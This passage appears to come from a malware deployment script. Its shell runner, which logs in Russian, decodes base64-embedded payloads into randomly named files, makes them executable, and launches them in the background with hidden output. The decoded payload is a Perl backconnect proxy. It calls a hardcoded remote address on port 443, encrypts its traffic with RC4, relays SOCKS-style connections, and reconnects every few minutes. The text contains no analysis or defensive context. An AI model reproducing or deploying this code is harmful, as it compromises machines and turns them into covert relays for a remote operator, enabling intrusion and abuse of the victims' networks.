CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #17 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #17 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 18 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 